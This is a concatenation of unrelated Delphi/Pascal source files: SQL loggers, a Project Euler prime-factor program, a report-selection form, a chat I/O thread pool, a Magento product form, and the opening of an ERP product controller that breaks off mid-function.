procedure InternalLog(const S: UnicodeString; BreakLine, WriteSpaceLine: Boolean); override;
procedure StartUsing; override;
public
constructor Create(const AFileName: UnicodeString; ARewriteFile: Boolean);
end;
TConsoleSqlLogger = class(TBaseSqlLogger)
protected
procedure InternalLog(const S: UnicodeString; BreakLine, WriteSpaceLine: Boolean); override;
end;
TFakeSqlLogger = class(TBaseSqlLogger)
protected
procedure InternalLog(const S: UnicodeString; BreakLine, WriteSpaceLine: Boolean); override;
end;
function TextFileSqlLogger(const FileName: UnicodeString; RewriteFile: Boolean): ISqlLogger;
begin
Result := TFileSqlLogger.Create(FileName, RewriteFile);
Result.Use := True;
end;
function ConsoleSqlLogger: ISqlLogger;
begin
Result := TConsoleSqlLogger.Create;
Result.Use := True;
end;
function FakeSqlLogger: ISqlLogger;
begin
Result := TFakeSqlLogger.Create;
Result.Use := False;
end;
{ TBaseSqlLogger }
function TBaseSqlLogger.AddLogger(Logger: ISqlLogger): ISqlLogger;
begin
FCriticalSection.Enter;
try
SetLength(FSubLoggers, Length(FSubLoggers) + 1);
FSubLoggers[High(FSubLoggers)] := Logger;
finally
FCriticalSection.Leave;
end;
Result := Self;
end;
constructor TBaseSqlLogger.Create;
begin
inherited Create;
FCriticalSection := NSqlCriticalSectionGuard;
end;
destructor TBaseSqlLogger.Destroy;
begin
if Assigned(FCriticalSection) then
SetUse(False);
inherited;
end;
function TBaseSqlLogger.GetUse: Boolean;
begin
Result := FUse;
end;
procedure TBaseSqlLogger.Log(const Message: UnicodeString; WriteDateTimePrefix: Boolean = True; BreakLine: Boolean = True; WriteSpaceLine: Boolean = True);
var
D: TDateTime;
MSec: Word;
MSecStr: UnicodeString;
AMessage: UnicodeString;
I: Integer;
begin
if FUse then
begin
if WriteDateTimePrefix then
begin
D := Now;
MSec := DateUtils.MilliSecondOf(D);
MSecStr := IntToStr(MSec);
while Length(MSecStr) < 3 do
MSecStr := '0' + MSecStr;
AMessage := DateTimeToStr(D) + '.' + MSecStr + ':'#13#10 + Message;
end
else
AMessage := Message;
FCriticalSection.Enter;
try
InternalLog(AMessage, BreakLine, WriteSpaceLine);
for I := 0 to High(FSubLoggers) do
FSubLoggers[I].InternalLog(AMessage, BreakLine, WriteSpaceLine);
finally
FCriticalSection.Leave;
end;
end;
end;
procedure TBaseSqlLogger.SetUse(const Value: Boolean);
begin
FCriticalSection.Enter;
try
if FUse <> Value then
begin
FUse := Value;
if FUse then
StartUsing
else
StopUsing;
end;
finally
FCriticalSection.Leave;
end;
end;
procedure TBaseSqlLogger.StartUsing;
begin
end;
procedure TBaseSqlLogger.StopUsing;
begin
end;
{ TFileSqlLogger }
constructor TFileSqlLogger.Create(const AFileName: UnicodeString; ARewriteFile: Boolean);
begin
inherited Create;
FFileName := AFileName;
FRewriteFile := ARewriteFile;
end;
procedure TFileSqlLogger.InternalLog(const S: UnicodeString; BreakLine, WriteSpaceLine: Boolean);
//var
// F: TextFile;
const
Utf8Bom: AnsiString = #239#187#191;
var
//F: TextFile;
SS: UnicodeString;
AnsiSS: AnsiString;
Handle: THandle;
// LastError: DWORD;
Written: DWORD;
NewFilePointer: Int64;
begin
try
FCriticalSection.Enter;
try
if FRewriteFile then
begin
Handle := CreateFileW(PWideChar(FFileName), {GENERIC_READ or } GENERIC_WRITE, FILE_SHARE_READ, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if Handle = INVALID_HANDLE_VALUE then
NSqlRaiseLastOSError
else
FileClose(Handle);
FRewriteFile := False;
end;
Handle := CreateFileW(PWideChar(FFileName), {GENERIC_READ or } GENERIC_WRITE, FILE_SHARE_READ, nil, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if Handle = INVALID_HANDLE_VALUE then
NSqlRaiseLastOSError;
try
if not SetFilePointerEx(Handle, 0, @NewFilePointer, FILE_END) then
NSqlRaiseLastOSError;
if WriteSpaceLine then
SS := sLineBreak
else
SS := '';
if BreakLine then
SS := SS + S + sLineBreak
else
SS := SS + S;
if Length(SS) <> 0 then
begin
{$IFDEF FPC}
Assert(False);
// AnsiSS := UTF8ToWinCP(Utf8Encode(SS));
{$ELSE}
AnsiSS := NSqlUnicodeStringToUtf8Bytes(SS);
{$ENDIF}
if NewFilePointer = 0 then
begin
Written := 0;
if WriteFile(Handle, Pointer(Utf8Bom)^, Length(Utf8Bom), Written, nil) = False then
NSqlRaiseLastOSError;
end;
Written := 0;
if WriteFile(Handle, Pointer(AnsiSS)^, Length(AnsiSS), Written, nil) = False then
NSqlRaiseLastOSError;
end;
finally
if Handle <> INVALID_HANDLE_VALUE then
FileClose(Handle);
end;
finally
FCriticalSection.Leave;
end;
except
// on E: Exception do
// begin
// LogMessage(E.Message);
// end;
end;
end;
procedure TFileSqlLogger.StartUsing;
begin
end;
{ TFakeSqlLogger }
procedure TFakeSqlLogger.InternalLog(const S: UnicodeString; BreakLine, WriteSpaceLine: Boolean);
begin
end;
{ TConsoleSqlLogger }
procedure TConsoleSqlLogger.InternalLog(const S: UnicodeString; BreakLine,
WriteSpaceLine: Boolean);
begin
if WriteSpaceLine then
WriteLn;
if BreakLine then
WriteLn(S)
else
Write(S);
end;
end.
|
program problem03;
uses crt;
(*
Problem: Largest prime factor
Problem 3
@Author: Chris M. Perez
@Date: 5/16/2017
*)
const
MAX: int64 = 600851475143;
function largestPrimeFactorization(arg: int64): int64;
var
i: int64 = 2;
begin
repeat
i := i + 1;
if arg mod i = 0 then begin
arg := arg div i;
i := i - 1;
end;
until not (i < arg);
largestPrimeFactorization := i + 1;
end;
var
result: int64 = 0;
begin
result := largestPrimeFactorization(MAX);
writeln(result);
readkey;
end.
|
unit ClueTypes;
interface
uses
windows, winapi.messages,
Vcl.ComCtrls;
const
UM_WORKERPROGRESS = WM_APP + 1;
UM_WORKERDONE = WM_APP + 2;
type
TVector<T> = array of T;
TMatrix<T> = array of TVector<T>;
type
TUMWorkerDone = record
Msg: Cardinal;
ThreadHandle: Integer;
unused: Integer;
Result: LRESULT;
end;
TUMWorkerProgress = record
Msg: Cardinal;
ThreadHandle: integer;
total: integer;
progress: LRESULT;
end;
TProgressBarWithText = class(TProgressBar)
private
FProgressText: string;
procedure setProgressText(const Value: string);
protected
procedure WMPaint(var Message: TWMPaint); message WM_PAINT;
// public
// constructor Create(owner : TComponent);
published
property ProgressText: string read FProgressText write setProgressText;
end;
implementation
procedure TProgressBarWithText.setProgressText(const Value: string);
begin
FProgressText := Value;
Invalidate;
end;
procedure TProgressBarWithText.WMPaint(var Message: TWMPaint);
var
DC: HDC;
prevfont: HGDIOBJ;
prevbkmode: Integer;
R: TRect;
begin
inherited;
if ProgressText <> '' then
begin
R := ClientRect;
DC := GetWindowDC(Handle);
prevbkmode := SetBkMode(DC, TRANSPARENT);
prevfont := SelectObject(DC, Font.Handle);
DrawText(DC, PChar(ProgressText), Length(ProgressText), R,
DT_SINGLELINE or DT_CENTER or DT_VCENTER);
SelectObject(DC, prevfont);
SetBkMode(DC, prevbkmode);
ReleaseDC(Handle, DC);
end;
end;
end.
|
unit uRelatAssinantes;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Data.DB, JvComponentBase, JvEnterTab,
Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Buttons, Vcl.Grids, Vcl.DBGrids, Vcl.Mask,
JvExMask, JvToolEdit, JvExStdCtrls, JvButton, JvCtrls;
type
TfrmRelatAssinantes = class(TForm)
GroupBoxLista: TGroupBox;
dbgGrid: TDBGrid;
Panel1: TPanel;
btnMarcarDesmarcar: TBitBtn;
edtFiltro: TLabeledEdit;
rgAgrupar: TRadioGroup;
JvEnterAsTab: TJvEnterAsTab;
DataSource: TDataSource;
btnOkAssinante: TJvImgBtn;
procedure btnMarcarDesmarcarClick(Sender: TObject);
procedure edtFiltroChange(Sender: TObject);
procedure dbgGridCellClick(Column: TColumn);
procedure dbgGridDrawColumnCell(Sender: TObject; const Rect: TRect;
DataCol: Integer; Column: TColumn; State: TGridDrawState);
procedure rgAgruparClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure btnOkAssinanteClick(Sender: TObject);
private
{ Private declarations }
procedure ControlaTela;
public
{ Public declarations }
end;
var
frmRelatAssinantes: TfrmRelatAssinantes;
implementation
{$R *.dfm}
uses uDadosRelat;
procedure TfrmRelatAssinantes.btnMarcarDesmarcarClick(Sender: TObject);
begin
case rgAgrupar.ItemIndex of
0: // Zonas
begin
if btnMarcarDesmarcar.Tag = 0 then
begin
dmDadosRelat.MarcarDesmarcarZonas(true);
btnMarcarDesmarcar.Tag := 1;
end
else
begin
dmDadosRelat.MarcarDesmarcarZonas(false);
btnMarcarDesmarcar.Tag := 0;
end;
end;
1: // Vendedore
begin
if btnMarcarDesmarcar.Tag = 0 then
begin
dmDadosRelat.MarcarDesmarcarVendedores(true);
btnMarcarDesmarcar.Tag := 1;
end
else
begin
dmDadosRelat.MarcarDesmarcarVendedores(false);
btnMarcarDesmarcar.Tag := 0;
end;
end;
2: // Grupo de vendedores
begin
if btnMarcarDesmarcar.Tag = 0 then
begin
dmDadosRelat.MarcarDesmarcarGruposVendedores(true);
btnMarcarDesmarcar.Tag := 1;
end
else
begin
dmDadosRelat.MarcarDesmarcarGruposVendedores(false);
btnMarcarDesmarcar.Tag := 0;
end;
end;
3: // Cobrador
begin
if btnMarcarDesmarcar.Tag = 0 then
begin
dmDadosRelat.MarcarDesmarcarCobradores(true);
btnMarcarDesmarcar.Tag := 1;
end
else
begin
dmDadosRelat.MarcarDesmarcarCobradores(false);
btnMarcarDesmarcar.Tag := 0;
end;
end;
end;
end;
procedure TfrmRelatAssinantes.btnOkAssinanteClick(Sender: TObject);
begin
dmDadosRelat.ShowReportAssinantes(rgAgrupar.ItemIndex);
end;
procedure TfrmRelatAssinantes.ControlaTela;
begin
btnMarcarDesmarcar.Tag := 0;
edtFiltro.Text := '';
case rgAgrupar.ItemIndex of
0: // Zonas
begin
GroupBoxLista.Caption := 'Selecione as zonas desejadas';
dmDadosRelat.CarregarZonas;
DataSource.DataSet := dmDadosRelat.cdsZonas;
dbgGrid.Columns[1].FieldName := 'zoncod';
dbgGrid.Columns[2].FieldName := 'zondescr';
end;
1: // Vendedor
begin
GroupBoxLista.Caption := 'Selecione os vendedores desejados';
dmDadosRelat.CarregarVendedores;
DataSource.DataSet := dmDadosRelat.cdsVendedores;
dbgGrid.Columns[1].FieldName := 'vencod';
dbgGrid.Columns[2].FieldName := 'vennome';
end;
2: // Grupo de vendedores
begin
GroupBoxLista.Caption := 'Selecione os grupos de vendedores desejados';
dmDadosRelat.CarregarGruposVendedores;
DataSource.DataSet := dmDadosRelat.cdsGruposVendedores;
dbgGrid.Columns[1].FieldName := 'gdvcod';
dbgGrid.Columns[2].FieldName := 'gdvdescr';
end;
3: // Cobrador
begin
GroupBoxLista.Caption := 'Selecione os cobradores desejados';
dmDadosRelat.CarregarCobradores;
DataSource.DataSet := dmDadosRelat.cdsCobradores;
dbgGrid.Columns[1].FieldName := 'cobcod';
dbgGrid.Columns[2].FieldName := 'cobnome';
end;
end;
end;
procedure TfrmRelatAssinantes.dbgGridCellClick(Column: TColumn);
begin
if Column.FieldName = 'CalcSelecionado' then
begin
if dbgGrid.DataSource.DataSet.RecordCount > 0 then
begin
dbgGrid.DataSource.DataSet.edit;
dbgGrid.DataSource.DataSet.FieldByName('CalcSelecionado').Value := not dbgGrid.DataSource.DataSet.FieldByName('CalcSelecionado').AsBoolean;
dbgGrid.DataSource.DataSet.Post;
end;
end;
end;
procedure TfrmRelatAssinantes.dbgGridDrawColumnCell(Sender: TObject;
const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState);
const
IS_CHECK : Array[Boolean] of Integer = (DFCS_BUTTONCHECK, DFCS_BUTTONCHECK or DFCS_CHECKED);
var
Check : Integer;
R : TRect;
begin
with dbgGrid do
begin
if Column.FieldName = 'CalcSelecionado' then
begin
Canvas.FillRect(Rect);
Check := IS_CHECK[Column.Field.AsBoolean];
R := Rect;
InflateRect(R,-2,-2); //aqui manipula o tamanho do checkBox
DrawFrameControl(Canvas.Handle,rect,DFC_BUTTON,Check)
end;
end;
end;
procedure TfrmRelatAssinantes.edtFiltroChange(Sender: TObject);
var
Filter: String;
begin
if rgAgrupar.ItemIndex = 0 then // zona
Filter :=
'(' + dbgGrid.Columns[2].FieldName + ' like ''%' + edtFiltro.Text + '%''' + ' or ' +
dbgGrid.Columns[1].FieldName + ' like ''%' + edtFiltro.Text + '%'')'
else
Filter := dbgGrid.Columns[2].FieldName + ' like ''%' + edtFiltro.Text + '%''';
DataSource.DataSet.Filtered := false;
DataSource.DataSet.Filter := Filter;
DataSource.DataSet.Filtered := True;
end;
procedure TfrmRelatAssinantes.FormCreate(Sender: TObject);
begin
ControlaTela;
end;
procedure TfrmRelatAssinantes.rgAgruparClick(Sender: TObject);
begin
ControlaTela;
end;
end.
|
unit ModulesIOThreadsUnit;
interface
uses System.Classes, Vcl.Dialogs, System.SysUtils, ModuleOperationsUnit,
SystemControlMessagesUnit;
type
TIOThread = class(TThread)
public const
SleepTime = 1000;
var
Module: TModule;
SelfID: Integer;
constructor Create(M: TModule; ID: Integer);
protected
procedure Execute; override;
end;
TIOThreads = array of TIOThread;
TPoolRecord = record
Text: String;
AuthorID: Integer;
ModuleGot: array of Boolean;
end;
TPool = class
Records: array of TPoolRecord;
Empty: Boolean;
procedure AddRecord(RecordText: String; RecordAuthor: Integer);
procedure CheckAndDeleteOddRecords;
constructor Create;
procedure Show;
end;
var
IOThread: TIOThreads;
Pool: TPool;
function StartThreads: Integer;
procedure FreeThreads;
procedure CountOutputModules;
implementation
uses
MainWindowUnit, HelpWindowUnit;
var
OutputModulesCount: Integer;
procedure CountOutputModules;
var
M: TModule;
begin
OutputModulesCount := 0;
for M in ModuleSelected do
if @M.SendData <> nil then
Inc(OutputModulesCount);
end;
procedure FreeThreads;
var
T: TIOThread;
begin
if Length(IOThread) > 0 then
for T in IOThread do
T.Free;
SetLength(IOThread, 0);
end;
function StartThreads: Integer;
var
M: TModule;
ID, R: Integer;
begin
FreeThreads;
R := 0;
for M in ModuleSelected do
if M.MType in [only_input, only_output, input_and_output] then
begin
ID := Length(IOThread);
SetLength(IOThread, ID + 1);
IOThread[ID] := TIOThread.Create(M, ID);
if IOThread[ID].Handle <> 0 then
Inc(R);
end;
Result := R;
end;
{ TIOThread }
constructor TIOThread.Create(M: TModule; ID: Integer);
begin
Module := M;
SelfID := ID;
inherited Create(false);
end;
procedure TIOThread.Execute;
procedure GetData;
var
M: String;
begin
M := String(Module.GetData);
if M <> SCM_No_Message then
Synchronize(
procedure
begin
Pool.AddRecord(M, SelfID);
end);
end;
procedure SendData;
var
i: Integer;
begin
with Pool do
if not Empty then
begin
for i := 0 to Length(Records) - 1 do
with Records[i] do
if not ModuleGot[SelfID] and (AuthorID <> SelfID) then
begin
Module.SendData(PChar(Text));
ModuleGot[SelfID] := true;
end;
Synchronize(
procedure
begin
CheckAndDeleteOddRecords;
end);
end;
end;
begin
inherited;
while not Terminated do
begin
case Module.MType of
only_input:
GetData;
only_output:
SendData;
input_and_output:
begin
SendData;
GetData;
end;
end;
Sleep(SleepTime);
end;
end;
{ TPool }
procedure TPool.AddRecord(RecordText: String; RecordAuthor: Integer);
var
i, RL: Integer;
begin
RL := Length(Records);
SetLength(Records, RL + 1);
with Records[RL] do
begin
Text := RecordText;
AuthorID := RecordAuthor;
SetLength(ModuleGot, OutputModulesCount);
for i := 0 to OutputModulesCount - 1 do
if i = AuthorID then
ModuleGot[i] := true
else
ModuleGot[i] := false;
end;
with MainForm, MainForm.ChatBox.Lines do
case RecordAuthor of
- 1:
Add(User.Name + ': ' + RecordText);
else
if RecordText = SCM_Dont_Know_Answer then
begin
if DontKnowCheckBtn.Checked then
Add(LanguageData[156]);
end
else
Add(AVirtual.Name + ': ' + RecordText);
end;
Empty := false;
end;
procedure TPool.CheckAndDeleteOddRecords;
function ItsOdd(ID: Integer): Boolean;
var
i: Integer;
begin
ItsOdd := true;
with Records[ID] do
for i := 0 to Length(ModuleGot) - 1 do
if not ModuleGot[i] then
begin
ItsOdd := false;
exit;
end;
end;
procedure DeleteRecord(ID: Integer);
var
i: Integer;
begin
for i := ID to Length(Records) - 2 do
Records[i] := Records[i + 1];
SetLength(Records, Length(Records) - 1);
end;
var
i: Integer;
begin
if not Empty then
begin
for i := Length(Records) - 1 downto 0 do
if ItsOdd(i) then
DeleteRecord(i);
if Length(Records) = 0 then
Empty := true;
end;
if MainForm.PoolShowBtn.Checked then
Show;
end;
constructor TPool.Create;
begin
Empty := true;
end;
procedure TPool.Show;
var
b: String;
i: Integer;
begin
b := MainForm.LanguageData[131];
with Pool do
for i := 0 to Length(Records) - 1 do
with Records[i] do
b := b + #13 + IntToStr(i) + '.' + Text + ' Автор: ' +
IntToStr(AuthorID);
HelpForm.ShowWithText(b);
end;
end.
|
unit DSA.Interfaces.Comparer;
{$mode objfpc}{$H+}
interface
uses
Classes,
SysUtils;
type
generic IDSA_Comparer<T> = interface
['{1887062D-EFA5-43F7-99E4-F26EF191F5A2}']
function Compare(const left, right: T): integer;
end;
generic TComparer<T> = class(TInterfacedObject, specialize IDSA_Comparer<T>)
public
constructor Default;
function Compare(const left, right: T): integer;
end;
implementation
{ TComparer }
constructor TComparer.Default;
begin
inherited Create;
end;
function TComparer.Compare(const Left, Right: T): integer;
var
bool: integer;
begin
if left > right then
bool := 1
else if left < right then
bool := -1
else
bool := 0;
Result := bool;
end;
end.
|
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ExtCtrls, Vcl.CheckLst,
Vcl.Imaging.jpeg, Data.DB, Datasnap.DBClient, Vcl.Grids, Vcl.DBGrids,
Vcl.ComCtrls, JSON, System.Generics.Collections, Magento.Interfaces;
type
TEnumUtils<T> = class
class procedure EnumToList(Value : TStrings);
end;
TForm1 = class(TForm)
EdtSku: TLabeledEdit;
Button1: TButton;
EdtDescricao: TLabeledEdit;
cbAtributo: TComboBox;
Label1: TLabel;
edtPreco: TLabeledEdit;
ckSatus: TCheckBox;
ckVisivel: TCheckBox;
cbTipo: TComboBox;
Label2: TLabel;
EdtPeso: TLabeledEdit;
Panel1: TPanel;
Image1: TImage;
Button2: TButton;
OpenDialog1: TOpenDialog;
Button3: TButton;
Button5: TButton;
TreeView1: TTreeView;
Label4: TLabel;
Button4: TButton;
Button6: TButton;
Button7: TButton;
Button8: TButton;
edtEstoque: TLabeledEdit;
Button9: TButton;
Button11: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure cbAtributoChange(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button6Click(Sender: TObject);
procedure Button7Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure FormShow(Sender: TObject);
procedure cbTipoChange(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure Button5Click(Sender: TObject);
procedure Button11Click(Sender: TObject);
private
{ Private declarations }
procedure ListaCategoria;
procedure ListaAtributos;
procedure ProdutoSimples;
public
{ Public declarations }
FAttributeId : Integer;
FAttributeValue : String;
FListaCategoryLinks : TDictionary<Integer, String>;
FClientDataSet : TClientDataSet;
FTipoProd : TTipoProduto;
FListaCustom_attributes : TDictionary<String,String>;
FListaProdutoSimples : TStringList;
FMagentoFactory : iMagentoFactory;
end;
var
Form1: TForm1;
implementation
uses
Magento.Factory, Unit3, Unit4, System.TypInfo, Magento.AttributeSets, Unit5,
Unit6;
{$R *.dfm}
procedure TForm1.Button11Click(Sender: TObject);
begin
//FMagentoFactory.MagentoHTTP.PostProduto(
memo1.Clear;
memo1.Lines.Add(
FMagentoFactory
.EntidadeProduto
.NewProduto
.Sku(EdtSku.Text)
.Name(EdtDescricao.Text)
.Attribute_set_id(FAttributeId)
.Price(StrToInt(edtPreco.Text))
.Status(ckSatus.Checked)
.Visibility(ckVisivel.Checked)
.Type_id(FTipoProd)
.Weight(EdtPeso.Text)
.Extension_attributes
.Category_Links(FListaCategoryLinks)
.Stock_item
.Qty(StrToInt(edtEstoque.Text))
.Is_in_stock(true)
.&End
.&End
.Custom_attributes(FListaCustom_attributes)
.MediaGalleryEntries
.MediaType('image')
.&Label(ExtractFileName(OpenDialog1.FileName))
.Position(1)
.Disabled(false)
.&File(ExtractFileName(OpenDialog1.FileName))
.Types
.Content
.Base64EncodedData(OpenDialog1.FileName)
.&Type('image/jpeg')
.Name(ExtractFileName(OpenDialog1.FileName))
.&End
.&End
.&End.ToString);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
FMagentoFactory.MagentoHTTP.PostProduto(
FMagentoFactory
.EntidadeProduto
.NewProduto
.Sku(EdtSku.Text)
.Name(EdtDescricao.Text)
.Attribute_set_id(FAttributeId)
.Price(StrToInt(edtPreco.Text))
.Status(ckSatus.Checked)
.Visibility(ckVisivel.Checked)
.Type_id(FTipoProd)
.Weight(EdtPeso.Text)
.Extension_attributes
.Category_Links(FListaCategoryLinks)
.&End
.Custom_attributes(FListaCustom_attributes)
.MediaGalleryEntries
.MediaType('image')
.&Label(ExtractFileName(OpenDialog1.FileName))
.Position(1)
.Disabled(false)
.&File(ExtractFileName(OpenDialog1.FileName))
.Types
.Content
.Base64EncodedData(OpenDialog1.FileName)
.&Type('image/jpeg')
.Name(ExtractFileName(OpenDialog1.FileName))
.&End
.&End
.&End);
if FMagentoFactory.MagentoHTTP.Status=200 then
begin
ShowMessage('Produto Configuravel salvo com sucesso, para saber mais acesse a area administrativa do portal');
// EdtSku.Clear;
// EdtDescricao.Clear;
// edtPreco.Clear;
// EdtPeso.Clear;
// FListaCategoryLinks.Clear;
// FListaCustom_attributes.Clear;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Image1.Picture.LoadFromFile(OpenDialog1.FileName);
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
ListaAtributos;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
FListaCategoryLinks.Add(
StrToint(Copy(TreeView1.Selected.Text,1,Pos('-',TreeView1.Selected.Text)-1)),
Copy(TreeView1.Selected.Text,Pos('-',TreeView1.Selected.Text)+1,
Pos('-',TreeView1.Selected.Text)-2));
end;
procedure TForm1.Button5Click(Sender: TObject);
begin
ListaCategoria;
end;
procedure TForm1.Button6Click(Sender: TObject);
begin
Form5.ShowModal;
// FClientDataSet := TClientDataSet.Create(nil);
//
// TMagentoFactory.New.MagentoAttibuteSets.ListAttributeSetsID(FClientDataSet,IntToStr(FAttributeId));
//
// DataSource1.DataSet := FClientDataSet;
end;
procedure TForm1.Button7Click(Sender: TObject);
begin
Form4.ShowModal;
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
Form6.ShowModal;
end;
procedure TForm1.Button9Click(Sender: TObject);
begin
FListaCategoryLinks.Clear;
end;
procedure TForm1.cbAtributoChange(Sender: TObject);
begin
FAttributeId := Integer(cbAtributo.Items.Objects[cbAtributo.ItemIndex]);
FAttributeValue:=cbAtributo.Items[cbAtributo.ItemIndex];
end;
procedure TForm1.cbTipoChange(Sender: TObject);
begin
FTipoProd := TTipoProduto(GetEnumValue(TypeInfo(TTipoProduto), cbTipo.Items[cbTipo.ItemIndex]));
if cbTipo.Text='tpConfigurable' then
edtEstoque.Enabled := False
else
edtEstoque.Enabled := True;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
FListaCategoryLinks := TDictionary<Integer, String>.Create;
FListaCustom_attributes := TDictionary<String, String>.Create;
FListaProdutoSimples := TStringList.Create;
FMagentoFactory := TMagentoFactory.New;
end;
procedure TForm1.FormShow(Sender: TObject);
begin
TEnumUtils<TTipoProduto>.EnumToList(cbTipo.Items);
ListaCategoria;
ListaAtributos;
end;
procedure TForm1.ListaCategoria;
var
jsonObj, jSubObj: TJSONObject;
ja,jj,jl: TJSONArray;
jv: TJSONValue;
i,j,l: Integer;
p:string;
tn, tn2: TTreeNode;
begin
jsonObj := TJSONObject.ParseJSONValue(TEncoding.ASCII.GetBytes(TMagentoFactory.New.MagentoHTTP.GetCatagorias), 0) as TJSONObject;
jv := jsonObj.Get('children_data').JsonValue;
ja := jv as TJSONArray;
for i := 0 to ja.Size - 1 do
begin
jSubObj := (ja.Get(i) as TJSONObject);
jv := jSubObj.Get(0).JsonValue;
tn := TreeView1.Items.Add(nil, jSubObj.Get(0).JsonValue.Value+'-'+
jSubObj.Get(4).JsonValue.Value+'-'+jSubObj.Get(2).JsonValue.Value);
jv := jSubObj.Get(7).JsonValue;
jj := jv as TJSONArray;
for J := 0 to jj.Size-1 do
begin
jSubObj := (jj.Get(j) as TJSONObject);
tn2 := TreeView1.Items.AddChild(tn, jSubObj.Get(0).JsonValue.Value+'-'+
jSubObj.Get(4).JsonValue.Value+'-'+jSubObj.Get(2).JsonValue.Value);
jv := jSubObj.Get(7).JsonValue;
jl := jv as TJSONArray;
for l := 0 to jl.Size-1 do
begin
jSubObj := (jl.Get(l) as TJSONObject);
TreeView1.Items.AddChild(tn2, jSubObj.Get(0).JsonValue.Value+'-'+
jSubObj.Get(4).JsonValue.Value+'-'+jSubObj.Get(2).JsonValue.Value);
end;
end;
end;
end;
procedure TForm1.ProdutoSimples;
begin
// Memo1.Lines.Add(
// FMagentoFactory
// .EntidadeProduto
// .NewProduto
// .Sku(EdtSku.Text)
// .Name(EdtDescricao.Text)
// .Attribute_set_id(FAttributeId)
// .Price(StrToInt(edtPreco.Text))
// .Status(ckSatus.Checked)
// .Visibility(ckVisivel.Checked)
// .Type_id(FTipoProd)
// .Weight(EdtPeso.Text)
// .Extension_attributes
// .Category_Links(FListaCategoryLinks)
// .Stock_item
// .Qty(StrToInt(edtEstoque.Text))
// .Is_in_stock(true)
// .&End
// .&End
// .Custom_attributes(FListaCustom_attributes)
// .MediaGalleryEntries
// .MediaType('image')
// .&Label(ExtractFileName(OpenDialog1.FileName))
// .Position(1)
// .Disabled(false)
// .&File(ExtractFileName(OpenDialog1.FileName))
// .Types
// .Content
// .Base64EncodedData(OpenDialog1.FileName)
// .&Type('image/jpeg')
// .Name(ExtractFileName(OpenDialog1.FileName))
// .&End
// .&End
// .&End);
end;
procedure TForm1.ListaAtributos;
begin
FClientDataSet := TClientDataSet.Create(nil);
TMagentoFactory.New.MagentoAttibuteSets.ListAttibuteSets(FClientDataSet);
while not FClientDataSet.Eof do
begin
cbAtributo.Items.AddObject(FClientDataSet.Fields[1].AsString, TObject(FClientDataSet.Fields[0].AsInteger));
FClientDataSet.Next;
end;
end;
{ TEnumUtils<T> }
class procedure TEnumUtils<T>.EnumToList(Value: TStrings);
var
Aux: String;
I, Pos : Integer;
begin
Value.Clear;
I := 0;
repeat
Aux := GetEnumName(TypeInfo(T), I);
Pos := GetEnumValue(TypeInfo(T), Aux);
if Pos <> -1 then Value.Add(Aux);
inc(I);
until Pos < 0;
end;
end.
|
{ *******************************************************************************
Title: T2Ti ERP
Description: Controller do lado Cliente relacionado à tabela [PRODUTO]
The MIT License
Copyright: Copyright (C) 2010 T2Ti.COM
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
The author may be contacted at:
t2ti.com@gmail.com</p>
@author Albert Eije (t2ti.com@gmail.com)
@version 2.0
******************************************************************************* }
unit ProdutoController;
interface
uses
Classes, SysUtils, Windows, Forms, Controller, ZDataset, md5,
VO, ProdutoVO, Biblioteca;
type
TProdutoController = class(TController)
private
public
class function Consulta(pFiltro: String; pPagina: String): TZQuery;
class function ConsultaLista(pFiltro: String): TListaProdutoVO;
class function ConsultaObjeto(pFiltro: String): TProdutoVO;
class function ConsultaPorTipo(pCodigo: String; pTipo: Integer): TProdutoVO;
class function Altera(pObjeto: TProdutoVO): Boolean;
end;
implementation
uses T2TiORM, UnidadeProdutoVO;
var
ObjetoLocal: TProdutoVO;
class function TProdutoController.Consulta(pFiltro: String; pPagina: String): TZQuery;
begin
try
ObjetoLocal := TProdutoVO.Create;
Result := TT2TiORM.Consultar(ObjetoLocal, pFiltro, pPagina);
finally
ObjetoLocal.Free;
end;
end;
class function TProdutoController.ConsultaLista(pFiltro: String): TListaProdutoVO;
var
I: Integer;
begin
try
ObjetoLocal := TProdutoVO.Create;
Result := TListaProdutoVO(TT2TiORM.Consultar(ObjetoLocal, pFiltro, True));
if Assigned(Result) then
begin
//Exercício: crie o método para popular esses objetos automaticamente no T2TiORM
for I := 0 to Result.Count - 1 do
begin
Result[I].UnidadeProdutoVO := TUnidadeProdutoVO.Create;
